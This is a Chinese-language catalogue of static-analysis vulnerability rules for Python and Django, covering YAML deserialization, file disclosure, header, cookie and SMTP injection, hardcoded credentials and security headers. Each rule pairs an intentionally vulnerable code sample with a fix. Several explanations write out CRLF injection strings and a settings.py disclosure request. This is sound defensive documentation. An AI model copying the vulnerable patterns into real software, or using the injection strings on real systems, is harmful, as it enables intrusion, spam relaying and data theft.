漏洞名称	**Dynamic Code Evaluation:Unsafe YAML Deserialization**
默认严重性	4.0
摘要	调用第 N 行的 XX（函数） 会对用户控制的 YAML 流进行反序列化，这可能会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。对用户控制的 YAML 流进行反序列化，可能会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
解释	将对象图转换为 YAML 格式数据的 YAML 序列化库可能包括重新从 YAML 流重构对象所需的元数据。 如果攻击者可以指定要重构的对象类，并能够强制应用程序运行具有用户控制数据的任意资源库，则在 YAML 流的反序列化期间，他们也许能够执行任意代码。 示例 1： 以下示例使用不安全的 YAML 加载器对不受信任的 YAML 字符串进行反序列化。 import yaml yamlString = getYamlFromUser() yaml.load(yamlString)
建议	如果可能，在没有验证 YAML 流的内容的情况下，请勿对不受信任的数据进行反序列化。根据所用的 YAML 库，也许可以检验反序列化过程中构造的允许类的列表。 PyYaml 提供 safe_load() 方法加载 YAML 文档，而不允许用户实例化任意类型。 示例 2： 以下示例使用安全的 YAML 解析器对不受信任的 YAML 字符串进行反序列化。 import yaml yamlString = getYamlFromUser() yaml.safe_load(yamlString)
CWE	CWE ID 502
OWASP2017	A8 Insecure Deserialization

返回目录

漏洞名称	**File Disclosure:Django**
默认严重性	3.0
摘要	在 X（文件） 的第 N 行，XX（方法） 方法使用由未经验证的输入创建的路径构建 FileResponse 实例。这使攻击者有机会下载应用程序二进制码，或者查看受保护的目录下的任意文件。通过用户输入构建 FileResponse 实例可允许攻击者下载应用程序二进制码，或者查看受保护目录下的任意文件。
解释	在以下情况下，会发生文件泄露： 1. 数据从一个不可信赖的数据源进入程序。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据用于动态地构造一个路径。 在这种情况下，数据将传递到 Y（文件）的第 M 行中的 Y（函数）。 例 1：以下代码接收不可信的数据并使用它打开返回给用户的文件。 from django.http import FileResponse ... def file_disclosure(request): path = request.GET['returnURL'] return FileResponse(open(path, 'rb')) ... 如果攻击者使用请求参数提供与某个敏感文件位置相匹配的 URL，他们将能够查看该文件。例如，使用 "http://www.yourcorp.com/webApp/logic?returnURL=settings.py" 将能够查看该应用程序的“settings.py”。
建议	请不要要使用不可信赖的数据请求服务器端资源。而应使用介于位置与路径之间的间接方法。 请不要使用： < a href="http://www.yourcorp.com/webApp/logic?nextPage=dir/signup">New Customer 而应使用： < a href="http://www.yourcorp.com/webApp/logic?nextPage=newCustomer">New Customer 服务器端逻辑应具有逻辑名称与服务器端路径的映射（以逻辑名称为键），在上例中，键“newCustomer”下存储的路径应为“/dir/signup”。
CWE	CWE ID 552
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**File Permission Manipulation**
默认严重性	3.0
摘要	该程序将调用 X（文件） 第 N 行中的 XX（函数），其中含有攻击者可控制的值。 允许用户输入控制文件权限可能导致攻击者能够访问以其他方式保护的系统资源。允许用户输入直接更改文件权限可能导致攻击者能够访问以其他方式保护的系统资源。

解释	当满足以下任一条件时，就会产生 File Permission Manipulation 错误：
	1. 攻击者能够指定在文件系统上修改权限的操作所使用的路径。
	2. 攻击者能够指定文件系统上的操作所分配的权限。
	在这种情况下，攻击者可能会控制输入到程序的值（在 X（文件） 第 N 行上的 X（函数） 处），该值会传递到 Y（文件） 第 M 行上的文件系统操作 Y（函数） 中。
	示例 1： 以下代码使用系统环境变量中的输入设置文件权限。 如果攻击者可更改系统环境变量，则他们可能使用该程序获得程序所处理文件的访问权限。 如果程序还容易受 Path Manipulation 攻击，那么攻击者可能会利用这一漏洞访问系统中的任意文件。
	permissions = os.getenv("filePermissions");
	os.chmod(filePath, permissions);
	...

建议	防止此类文件权限操纵的最佳方式是允许用户设置文件权限。 但是，如果必须确保用户能够指定文件的权限，则应该使用一种间接方法：即创建一个允许用户进行指定的合法文件权限的列表，并且仅允许用户从列表中进行选择。 通过这种方式，用户提供的输入将绝对不会直接用于指定文件权限。 示例 2： 以下代码使用了一种间接方法以验证来自系统属性的输入（应设置默认权限掩码）。 userinput = os.getenv("filePermissions") validPermissions = [stat.S_IREAD, stat.S_IWRITE, stat.S_IWRITE | stat.S_IREAD] if (userinput in validPermissions): i = validPermissions.index(userinput) os.chmod("file", validPermissions[i]) ... ... 在 Example 2 中，我们实际不会使用环境变量的用户输入。相反，我们会将它与指定的有效权限进行比较，然后将其用于权限中。这可以防止用于比较相等性的 API 包含 bug，该 bug 会通过如空字节注入等方式允许绕开。
CWE	CWE ID 264, CWE ID 732

返回目录

OWASP2017	None

返回目录

漏洞名称	**Hardcoded Absolute Path**
默认严重性	2
摘要	XXX（方法） 方法使用 X（文件） 文件第 N 行中硬编码的绝对路径 XX（元素） 引用了外部文件。
解释	通常，硬编码绝对路径会使应用程序变得脆弱，并且会使程序在某些没有相同文件系统结构的环境中无法正常运行。如果应用程序未来版本的设计或要求发生变化，这还会为软件带来维护问题。 此外，如果应用程序使用此路径来读取或写入数据，则可能导致泄漏机密数据或允许向程序恶意输入数据。在某些情况下，此漏洞甚至会使恶意用户能够覆写预期的功能，使应用程序运行任意程序并执行攻击者部署到服务器的任意代码。 硬编码的路径不太灵活，使得应用程序难以适应环境变化。例如，程序可能被安装在与默认目录不同的目录中。同样，不同的系统语言和 OS 体系结构会更改系统文件夹的名称；例如，在西班牙语 Windows 机器中会是"C:\Archivos de programa (x86)\" instead of "C:\Program Files\"。 此外，在 Windows 上，默认情况下，所有目录和文件都是在系统文件夹和用户配置文件之外创建的，这将使任何经过身份验证的用户都有完全的读写权限。尽管应用程序假定这些文件夹中的任何敏感数据都是受到保护的，未经授权的恶意用户可能访问这些数据。更糟糕的是，攻击者可能会覆写这些未受保护的文件夹中的现有程序并植入恶意代码，然后将由应用程序激活这些代码。
建议	不要将绝对路径硬编码到应用程序中。 而要将绝对路径保存在外部配置文件中，以便根据每个环境的情况进行修改。 或者，如果目标文件位于应用程序根目录的一个子目录中，也可使用相对于当前应用程序的路径。 不要在应用程序子目录外假定特定的文件系统结构。在 Windows 上，使用内置的可扩展变量，例如 %WINDIR%、%PROGRAMFILES%, 和 %TEMP%。 在 Linux 和其他 OS 上，如果可用，可以为应用程序设置系统监禁 (chroot)（根目录限制），并将所有程序和数据文件保存到那里。 建议将所有可执行文件保存在受保护的程序目录下（Windows 默认在 "C:\Program Files\" 下）。 不要在任意文件夹中储存敏感数据或配置文件。同样，不要将数据文件储存在程序目录中。而要使用预先指定的文件夹，即 Windows 上分别是 %PROGRAMDATA% 和 %APPDATA%。 根据最小权限原则，尽量将强化过的权限配置到最严格地程度。请考虑在安装和设置例程中自动实现此功能。
CWE	CWE ID 426

返回目录

OWASP2017	None

返回目录

漏洞名称	**Hardcoded Password in Connection String**
默认严重性	4
摘要	应用程序在 X（文件） 文件的第 N 行包含经过硬编码的连接详情 XX（元素）。此连接字符串含有一个经过硬编码的密码，此字符串在 Y（文件） 文件的第 M 行的 YYY（方法） 方法中被用于通过 YY （元素） 元素连接数据库服务器。这可能会暴露数据库密码，不利于某些情况下的密码管理。
解释	经过硬编码的数据库密码会使应用程序泄露密码，使数据库受到未经授权的访问。如果攻击者可以访问源代码（或者可以反编译应用程序的二进制文件），则攻击者将能窃取嵌入的密码，并使用其直接访问数据库。这将使攻击者能够窃取秘密信息、修改敏感记录或删除重要数据。 此外，在需要时无法轻松地更改密码。最终需要更新密码时，可能需要构建新版本应用程序并部署到生产系统。 应用程序将数据库密码硬编码到源代码文件中，然后在连接字符串中使用此密码连接数据库或其他服务器。任何有权访问源代码的人都可以看到此密码，而且必须重建或重新编译应用程序才能更改密码。即使经过编译或部署，密码和连接字符串仍然出现在二进制程序文件或生产环境中。
建议	- 切勿硬编码敏感数据，例如数据库密码。 - 建议完全避免使用明文数据库密码，而要使用操作系统集成的系统身份验证。 - 也可将密码存储在加密的配置文件中，并为管理员提供一种密码更改方法。确保文件权限被配置为仅限管理员访问。 - 特别是，如果数据库支持集成身份验证或 Kerberos，建议对于 SQL 用户要使用此字符串而不要使用显式凭证。使用 "Trusted_Connection=yes;" 配置数据库连接字符串，或根据数据库的库函数来传递 trusted_connection='yes' 参数。 - 也可在外部配置文件中定义数据库密码和连接参数。根据情况使用合适的权限和加密来保护此配置文件。
CWE	CWE ID 547
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Header Injection**
默认严重性	4
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从 XX（元素） 元素接收用户输入。然后，此元素的值被复制到请求的标头，而没有在 Y（文件） 文件第 M 行的 YYY（方法） 中进行正确的净化或验证。如果第三方可以影响此值，就可能可以启用 HTTP 标头注入攻击。
解释	攻击者可以： 劫持会话，执行会话固定，并在此期间将 cookie 或其他经过身份验证的标头被注入请求中。 通过响应拆分攻击，或欺骗缓存服务器无意中将 URL 与另一个 URL 的页面（内容）关联并为 URL 缓存此内容，导致 Web 缓存中毒。 绕过依赖 referrer 标头的 CSRF 保护。 通过发送第二个未被注意的请求，使用请求夹带攻击绕过防火墙/IPS/IDS 保护。 通过更改标头（如 Content-Type）或覆盖标头（如 x-xss-protection），通过跨站点脚本 (XSS) 执行任意 Javascript 代码。 如果 HTTP 请求标头受到从客户端接收但未进行验证的输入的影响，就会发生 HTTP 标头注入漏洞。这种攻击通常是将 CRLF（换行符）字符（如 \r、\n、%0a、%0d）注入 HTTP 请求标头，将标头分解到消息正文并写入第二个任意请求实现的。也可以通过影响请求身份验证标头、安全标头和绕过来执行其他攻击。另外还可以通过此攻击发起其他攻击，如缓存中毒、会话劫持、跨站点脚本 (XSS) 攻击以及绕过 Web 应用程序防火墙保护。
建议	在将输入添加到请求之前，先对所有输入执行 URL 编码，例如 CRLF 字符，以避免碰到恶意数据。 安全代码方法 在服务器侧无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项： 数据类型 大小 范围 格式 预期值
CWE	CWE ID 113
OWASP2017	A1-Injection

返回目录

漏洞名称	**Header Manipulation**
默认严重性	4.0
摘要	X（文件） 文件中的方法 XX（方法） 包含未验证的数据，这些数据位于 HTTP 响应头文件的第 N 行。这会招致各种形式的攻击，包括：cache-poisoning、cross-site scripting、cross-user defacement、page hijacking、cookie manipulation 或 open redirect。HTTP 响应头文件中包含未验证的数据会引发 cache-poisoning、cross-site scripting、cross-user deface
解释	以下情况中会出现 Header Manipulation 漏洞： 1. 数据通过一个不可信赖的数据源进入 Web 应用程序，最常见的是 HTTP 请求。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据包含在一个 HTTP 响应头文件里，未经验证就发送给了 Web 用户。 在这种情况下，数据通过 Y（文件）的第 M 行中的 Y（函数） 传送。 如同许多软件安全漏洞一样，Header Manipulation 只是通向终端的一个途径，它本身并不是终端。从本质上看，这些漏洞是显而易见的：一个攻击者将恶意数据传送到易受攻击的应用程序，且该应用程序将数据包含在 HTTP 响应头文件中。 其中最常见的一种 Header Manipulation 攻击是 HTTP Response Splitting。为了成功地实施 HTTP Response Splitting 盗取，应用程序必须允许将那些包含 CR（回车，由 %0d 或 \r 指定）和 LF（换行，由 %0a 或 \n 指定）的字符输入到头文件中。攻击者利用这些字符不仅可以控制应用程序要发送的响应剩余头文件和正文，还可以创建完全受其控制的其他响应。 如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。如果您的应用程序服务器能够防止设置带有换行符的头文件，则其具备对 HTTP Response Splitting 的防御能力。然而，单纯地过滤换行符可能无法保证应用程序不受 Cookie Manipulation 或 Open Redirects 的攻击，因此必须在设置带有用户输入的 HTTP 头文件时采取措施。 示例：下段代码会从 HTTP 请求读取位置，并将其设置到 HTTP 响应的位置字段的头文件中。 location = req.field('some_location') ... response.addHeader("location",location) 假设在请求中提交了一个由标准字母数字字符组成的字符串，如“index.html”，则包含该 Cookie 的 HTTP 响应可能表现为以下形式： HTTP/1.1 200 OK ...

返回目录

	location: index.html ... 然而，因为该位置的值由未经验证的用户输入组成，所以仅当提交给 some_location 的值不包含任何 CR 和 LF 字符时，响应才会保留这种形式。如果攻击者提交的是一个恶意字符串，比如“index.html\r\nHTTP/1.1 200 OK\r\n...”，那么 HTTP 响应就会被分割成以下形式的两个响应： HTTP/1.1 200 OK ... location: index.html HTTP/1.1 200 OK ... 显然，第二个响应已完全由攻击者控制，攻击者可以用任何所需标头和正文内容构建该响应。攻击者可以构建任意 HTTP 响应，从而发起多种形式的攻击，包括：cross-user defacement、web and browser cache poisoning、cross-site scripting 和 page hijacking。 Cross-User Defacement：攻击者可以向一个易受攻击的服务器发出一个请求，导致服务器创建两个响应，其中第二个响应可能会被曲解为对其他请求的响应，而这一请求很可能是与服务器共享相同 TCP 连接的另一用户发出的。这种攻击可以通过以下方式实现：攻击者诱骗用户，让他们自己提交恶意请求；或在远程情况下，攻击者与用户共享同一个连接到服务器（如共享代理服务器）的 TCP 连接。最理想的情况是，攻击者通过这种方式使用户相信自己的应用程序已经遭受了黑客攻击，进而对应用程序的安全性失去信心。最糟糕的情况是，攻击者可能提供经特殊技术处理的内容，这些内容旨在模仿应用程序的执行方式，但会重定向用户的私人信息（如帐号和密码），将这些信息发送给攻击者。 Cache Poisoning： 如果多用户 Web 缓存或者单用户浏览器缓存将恶意构建的响应缓存起来，该响应的破坏力会更大。如果响应缓存在共享的 Web 缓存（如在代理服务器中常见的缓存）中，那么使用该缓存的所有用户都会不断收到恶意内容，直到清除该缓存项为止。同样，如果响应缓存在单个用户的浏览器中，那么在清除该缓存项以前，该用户会不断收到恶意内容。然而，影响仅局限于本地浏览器的用户。 Cross-Site Scripting：一旦攻击者控制了应用程序传送的响应，就可以选择多种恶意内容来传播给用户。Cross-Site Scripting 是最常见的攻击形式，这种攻击在响应中包含了恶意的 JavaScript 或其他代码，并在用户的浏览器中执行。基于 XSS 的攻击手段花样百出，几乎是无穷无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。对于易受攻击的应用程序用户，最常见且最危险的攻击就是使用 JavaScript 将会话和 authentication 信息返回给攻击者，而后攻击者就可以完全控制受害者的帐号了。

返回目录

	Page Hijacking：除了利用一个易受攻击的应用程序向用户传输恶意内容，还可以利用相同的根漏洞，将服务器生成的供用户使用的敏感内容重定向，转而供攻击者使用。攻击者通过提交一个会导致两个响应的请求，即服务器做出的预期响应和攻击者创建的响应，致使某个中间节点（如共享的代理服务器）误导服务器所生成的响应，将本来应传送给用户的响应错误地传给攻击者。因为攻击者创建的请求产生了两个响应，第一个被解析为针对攻击者请求做出的响应，第二个则被忽略。当用户通过同一 TCP 连接发出合法请求时，攻击者的请求已经在此处等候，并被解析为针对受害者这一请求的响应。这时，攻击者将第二个请求发送给服务器，代理服务器利用针对受害者（用户）的、由该服务器产生的这一请求对服务器做出响应，因此，针对受害者的这一响应中会包含所有头文件或正文中的敏感信息。 Cookie Manipulation：当与类似跨站请求伪造的攻击相结合时，攻击者就可以篡改、添加、甚至覆盖合法用户的 cookie。 Open Redirect：如果允许未验证的输入来控制重定向机制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。
建议	针对 Header Manipulation 的解决方法是，确保在适当位置进行输入验证并检验其属性是否正确。 由于 Header Manipulation 漏洞出现在应用程序的输出中包含恶意数据时，因此，合乎逻辑的做法是在应用程序输出数据前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态响应，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 Header Manipulation 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免出现其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是增强应用程序现有的输入验证机制，增加针对 Header Manipulation 的检查。尽管具有一定的价值，但 Header Manipulation 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 Header Manipulation 漏洞的最佳方法是验证所有应用程序输入数据或向用户输出的数据。 针对 Header Manipulation 漏洞进行验证最安全的方式是创建一个安全字符允许列表，其中的字符允许出现在 HTTP 响应头文件中，并且只接受完全由这些受认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，帐号可能仅包含 0-9 的数字。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样的列表，首先需要了解在 HTTP 响应头文件中具有特殊含义的一组字符。尽管 CR 和 LF 字符是 HTTP Response Splitting 攻击的核心，但其他字符，如":"（冒号）和 '='（等号），在响应标头中同样具有特殊的含义。

返回目录

	在应用程序中确定针对 Header Manipulation 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。应用程序应拒绝任何要添加到 HTTP 响应头文件中的包含特殊字符的输入，这些特殊字符（特别是 CR 和 LF）是无效字符。 许多应用程序服务器都试图避免应用程序出现 HTTP Response Splitting 漏洞，其做法是为负责设置 HTTP 头文件和 cookie 的函数提供各种执行方式，以检验是否存在进行 HTTP Response Splitting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 113
OWASP2017	A1 Injection

返回目录

漏洞名称	**Header Manipulation:Cookies**
默认严重性	4.0
摘要	X（文件） 中的方法 XX（方法） 包含未验证的数据，这些数据位于 HTTP Cookie 的第 N 行。这可产生 Cookie Manipulation 攻击，并导致其他 HTTP 响应头文件操作攻击，例如：cache-poisoning、cross-site scripting、cross-user defacement、page hijacking 或 open redirect。在 Cookies 中包含未验证的数据会引发 HTTP 响应头文件操作攻击，并可能导致 cache-poisoning、
解释	以下情况中会出现 Cookie Manipulation 漏洞： 1. 数据通过一个不可信赖的数据源进入 Web 应用程序，最常见的是 HTTP 请求。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据包含在一个 HTTP Cookie 中，该 Cookie 未经验证就发送给了 Web 用户。 在这种情况下，数据通过 Y（文件）的第 M 行中的 Y（函数） 传送。 如同许多软件安全漏洞一样，Cookie Manipulation 只是通向终端的一个途径，它本身并不是终端。从本质上看，这些漏洞是显而易见的：攻击者可将恶意数据传送到易受攻击的应用程序，且该应用程序将这些数据包含在 HTTP Cookie 中。 Cookie Manipulation：当与类似跨站请求伪造的攻击相结合时，攻击者就可以篡改、添加、甚至覆盖合法用户的 cookie。 作为 HTTP 响应头文件，Cookie Manipulation 攻击也可导致其他类型的攻击，例如： HTTP Response Splitting： 其中最常见的一种 Header Manipulation 攻击是 HTTP Response Splitting。为了成功地实施 HTTP Response Splitting 盗取，应用程序必须允许将那些包含 CR（回车，由 %0d 或 \r 指定）和 LF（换行，由 %0a 或 \n 指定）的字符输入到头文件中。攻击者利用这些字符不仅可以控制应用程序要发送的响应剩余头文件和正文，还可以创建完全受其控制的其他响应。 如今的许多现代应用程序服务器可以防止 HTTP 头文件感染恶意字符。例如，如果尝试使用被禁用的字符设置头文件，最新版本的 Apache Tomcat 会抛出 IllegalArgumentException。如果您的应用程序服务器能够防止设置带有换行符的头文件，则其具备对 HTTP Response Splitting 的防御能力。然而，单纯地过滤换行符可能无法保证应用程序不受 Cookie Manipulation 或 Open Redirects 的攻击，因此必须在设置带有用户输入的 HTTP 头文件时采取措施。 示例：下列代码片段会从 HTTP 请求中读取网络日志项的作者名字 author，并将其置于一个 HTTP 响应的 cookie 头文件中。 author = request.GET['AUTHOR_PARAM']

返回目录

	... response.set_cookie("author: %s" % author, value) 假设在请求中提交了一个字符串，该字符串由标准的字母数字字符组成，如“Jane Smith”，那么包含该 Cookie 的 HTTP 响应可能表现为以下形式： HTTP/1.1 200 OK ... Set-Cookie: author=Jane Smith ... 然而，因为 cookie 值来源于未经校验的用户输入，所以仅当提交给 AUTHOR_PARAM 的值不包含任何 CR 和 LF 字符时，响应才会保留这种形式。如果攻击者提交的是一个恶意字符串，比如“Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...”，那么 HTTP 响应就会被分割成以下形式的两个响应： HTTP/1.1 200 OK ... Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK ... 显然，第二个响应已完全由攻击者控制，攻击者可以用任何所需标头和正文内容构建该响应。攻击者可以构建任意 HTTP 响应，从而发起多种形式的攻击，包括：cross-user defacement、web and browser cache poisoning、cross-site scripting 和 page hijacking。 Cross-User Defacement：攻击者可以向一个易受攻击的服务器发出一个请求，导致服务器创建两个响应，其中第二个响应可能会被曲解为对其他请求的响应，而这一请求很可能是与服务器共享相同 TCP 连接的另一用户发出的。这种攻击可以通过以下方式实现：攻击者诱骗用户，让他们自己提交恶意请求；或在远程情况下，攻击者与用户共享同一个连接到服务器（如共享代理服务器）的 TCP 连接。最理想的情况是，攻击者通过这种方式使用户相信自己的应用程序已经遭受了黑客攻击，进而对应用程序的安全性失去信心。最糟糕的情况是，攻击者可能提供经特殊技术处理的内容，这些内容旨在模仿应用程序的执行方式，但会重定向用户的私人信息（如帐号和密码），将这些信息发送给攻击者。 缓存中毒： 如果多用户 Web 缓存或者单用户浏览器缓存将恶意构建的响应缓存起来，该响应的破坏力会更大。如果响应缓存在共享的 Web 缓存（如在代理服务器中常见的缓存）中，那么使用该缓存的所有用户都会不断收到恶意内容，直到清除该缓存项为止。同样，如果响应缓存在单个用户的浏览器中，那么在清除该缓存项以前，该用户会不断收到恶意内容。然而，影响仅局限于本地浏览器的用户。 Cross-Site Scripting：一旦攻击者控制了应用程序传送的响应，就可以选择多种恶意内容来传播给用户。Cross-Site Scripting 是最常见的攻击形式，这种攻击在响应中包含了恶意的 JavaScript 或其他代码，并在用户的浏览器中执行。基于 XSS 的攻击手段花样百出，几乎是无穷

返回目录

	无尽的，但通常它们都会包含传输给攻击者的私人数据（如 Cookie 或者其他会话信息）。在攻击者的控制下，指引受害者进入恶意的网络内容；或者利用易受攻击的站点，对用户的机器进行其他恶意操作。对于易受攻击的应用程序用户，最常见且最危险的攻击就是使用 JavaScript 将会话和 authentication 信息返回给攻击者，而后攻击者就可以完全控制受害者的帐号了。 Page Hijacking：除了利用一个易受攻击的应用程序向用户传输恶意内容，还可以利用相同的根漏洞，将服务器生成的供用户使用的敏感内容重定向，转而供攻击者使用。攻击者通过提交一个会导致两个响应的请求，即服务器做出的预期响应和攻击者创建的响应，致使某个中间节点（如共享的代理服务器）误导服务器所生成的响应，将本来应传送给用户的响应错误地传给攻击者。因为攻击者创建的请求产生了两个响应，第一个被解析为针对攻击者请求做出的响应，第二个则被忽略。当用户通过同一 TCP 连接发出合法请求时，攻击者的请求已经在此处等候，并被解析为针对受害者这一请求的响应。这时，攻击者将第二个请求发送给服务器，代理服务器利用针对受害者（用户）的、由该服务器产生的这一请求对服务器做出响应，因此，针对受害者的这一响应中会包含所有头文件或正文中的敏感信息。 Open Redirect：如果允许未验证的输入来控制重定向机制所使用的 URL，可能会有利于攻击者发动钓鱼攻击。
建议	针对 Cookie Manipulation 的解决方法是，确保在适当位置进行输入验证并检验其属性是否正确。 由于 Header Manipulation 漏洞（类似于 Cookie Manipulation）出现在应用程序的输出中包含恶意数据时，因此，合乎逻辑的做法是在应用程序输出数据前一刻对其进行验证。然而，由于 Web 应用程序常常会包含复杂而难以理解的代码，用以生成动态响应，因此，这一方法容易产生遗漏错误（遗漏验证）。降低这一风险的有效途径是对 Header Manipulation 也执行输入验证。 由于 Web 应用程序必须验证输入信息以避免出现其他漏洞（如 SQL Injection），因此，一种相对简单的解决方法是增强应用程序现有的输入验证机制，增加针对 Header Manipulation 的检查。尽管具有一定的价值，但 Header Manipulation 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储器或其他可信赖的数据源接受输入，而该数据存储器所接受的输入源可能并未执行适当的输入验证。因此，应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着，避免 Header Manipulation 漏洞的最佳方法是验证所有应用程序输入数据或向用户输出的数据。 针对 Header Manipulation 漏洞进行验证最安全的方式是创建一个安全字符允许列表，其中的字符允许出现在 HTTP 响应头文件中，并且只接受完全由这些受认可的字符组成的输入。例如，有效的用户名可能仅包含字母数字字符，帐号可能仅包含 0-9 的数字。 更灵活的方法是执行拒绝列表，但其安全性较差，该列表会在使用输入之前有选择地拒绝或避免潜在的危险字符。为了创建这样的列表，首先需要了解在 HTTP 响应头文件中具有特殊含义的一组字符。尽管

返回目录

	CR 和 LF 字符是 HTTP Response Splitting 攻击的核心，但其他字符，如":"（冒号）和 '='（等号），在响应标头中同样具有特殊的含义。 在应用程序中确定针对 Header Manipulation 攻击执行验证的正确要点，以及验证过程中要考虑的特殊字符之后，下一个难点就是确定验证过程中处理各种特殊字符的方式。应用程序应拒绝任何要添加到 HTTP 响应头文件中的包含特殊字符的输入，这些特殊字符（特别是 CR 和 LF）是无效字符。 许多应用程序服务器都试图避免应用程序出现 HTTP Response Splitting 漏洞，其做法是为负责设置 HTTP 头文件和 cookie 的函数提供各种执行方式，以检验是否存在进行 HTTP Response Splitting 攻击必需的字符。不要依赖运行应用程序的服务器，以此确保该应用程序的安全。开发了某个应用程序后，并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变，我们不能保证应用程序服务器也会保持同步。
CWE	CWE ID 113
OWASP2017	A1 Injection

返回目录

漏洞名称	**Header Manipulation:SMTP**
默认严重性	4.0
摘要	X（文件） 中的 XX（方法） 方法包括未经验证的数据，这些数据位于 SMTP 头的第 N 行。这使得攻击者可以添加任意标题（如 CC 或 BCC），从而利用这些标题向其本身泄露邮件内容或将邮件服务器用作垃圾邮件自动程序。在 SMTP 头中包括未经验证的数据使得攻击者可以添加任意标题（如 CC 或 BCC），从而利用这些标题向其本身泄露邮件内容或将邮件服务器用作垃圾邮件自动程序。
解释	在以下情况下会发生 SMTP Header Manipulation 漏洞： 1. 数据通过一个不可信赖的数据源进入应用程序，最常见的是 Web 应用程序中的 HTTP 请求。 在这种情况下，数据进入 X（文件）的第 N 行的 X（函数） 中。 2. 数据包含在一个 SMTP 头中，该 SMTP 头未经验证就发送给了邮件服务器。 在这种情况下，数据包含在 Y（文件）的第 M 行的 Y（函数）。 如同许多软件安全漏洞一样，SMTP Header Manipulation 只是通向终端的一个途径，它本身并不是终端。从本质上看，这些漏洞是显而易见的：攻击者可将恶意数据传送到易受攻击的应用程序，且该应用程序将这些数据包含在 SMTP 头中。 一种最常见的 SMTP Header Manipulation 攻击用于分发垃圾邮件。如果应用程序包含一个允许设置电子邮件主题和正文的易受攻击的“联系我们”表单，攻击者将能够设置任意内容，并注入包含匿名（因为电子邮件是从受害者服务器发送的）指向垃圾邮件的电子邮件地址列表的 CC 标题。 示例：以下代码段读取“联系我们”表单的主题和正文： body = request.GET['body'] subject = request.GET['subject'] session = smtplib.SMTP(smtp_server, smtp_tls_port) session.ehlo() session.starttls() session.login(username, password) headers = "\r\n".join(["from: webform@acme.com", "subject: [Contact us query] " + subject, "to: support@acme.com", "mime-version: 1.0", "content-type: text/html"]) content = headers + "\r\n\r\n" + body session.sendmail("webform@acme.com", "support@acme.com", content) 假设在请求中提交了一个由标准字母和数字字符组成的字符串，如“Page not working”，那么 SMTP 头可能表现为以下形式：

返回目录

	... subject: [Contact us query] Page not working ... 然而，因为该头的值是利用未经验证的用户输入构造的，所以仅当提交给 subject 的值不包含任何 CR 和 LF 字符时，响应才会保留这种形式。如果攻击者提交恶意字符串，例如“Congratulations!!You won the lottery!!!\r\ncc:victim1@mail.com,victim2@mail.com ...”，则 SMTP 头将表现为以下形式： ... subject: [Contact us query] Congratulations!! You won the lottery cc: victim1@mail.com,victim2@mail.com ... 这将有效地允许攻击者制造垃圾邮件，或者发送匿名电子邮件等攻击。
建议	针对 SMTP Header Manipulation 的解决方法是，确保在适当位置进行输入验证并检验其属性是否正确。 由于 SMTP Header Manipulation 漏洞出现在应用程序的输出中包含恶意数据时，因此，一个合乎逻辑的做法是在头上下文中使用数据前一刻对其进行验证，并确保没有非法 CRLF 字符可以破坏头结构。
CWE	CWE ID 93
OWASP2017	A1 Injection

返回目录

漏洞名称	**HTML5:Cross-Site Scripting Protection**
默认严重性	3.0
摘要	明确禁用了可能提高 cross-site scripting 攻击风险的 X-XSS-Protection 标头。
解释	X-XSS-Protection 是指在 Internet Explorer 8 和更高版本以及 Chrome 的最新版本中自动启用的标头。在标头值设置为 false (0) 时，禁用跨站点脚本保护功能。 可以在多个位置设置标头，并且应检查其中是否存在配置错误和恶意篡改问题。
建议	可通过发送值为“X-XSS-Protection: 1; mode=block”的 X-XSS-Protection 标头，将 Django 应用程序自动配置为指示浏览器支持其 cross-site scripting 保护。为此，Django 1.8+ 或 django-secure 插件中包含的 SECURE_BROWSER_XSS_FILTER 设置必须设置为 True： … MIDDLEWARE_CLASSES = (… 'django.middleware.security.SecurityMiddleware', …) SECURE_BROWSER_XSS_FILTER = True …
CWE	CWE ID 554, CWE ID 1173
OWASP2017	A6 Security Misconfiguration

返回目录

漏洞名称	**HTML5:MIME Sniffing**
默认严重性	3.0
摘要	Django 应用程序不会将 X-Content-Type-Options 设置为 nosniff，也不会显式禁用此安全标头。
解释	MIME 探查是检查字节流内容以尝试推断其中数据格式的一种做法。如果没有明确禁用 MIME 探查，则有些浏览器会被操控以非预期方式解析数据，从而导致跨站点脚本攻击风险。 对于可能包含用户可控制内容的每个页面，您应该使用 HTTP 标头 X-Content-Type-Options: nosniff。
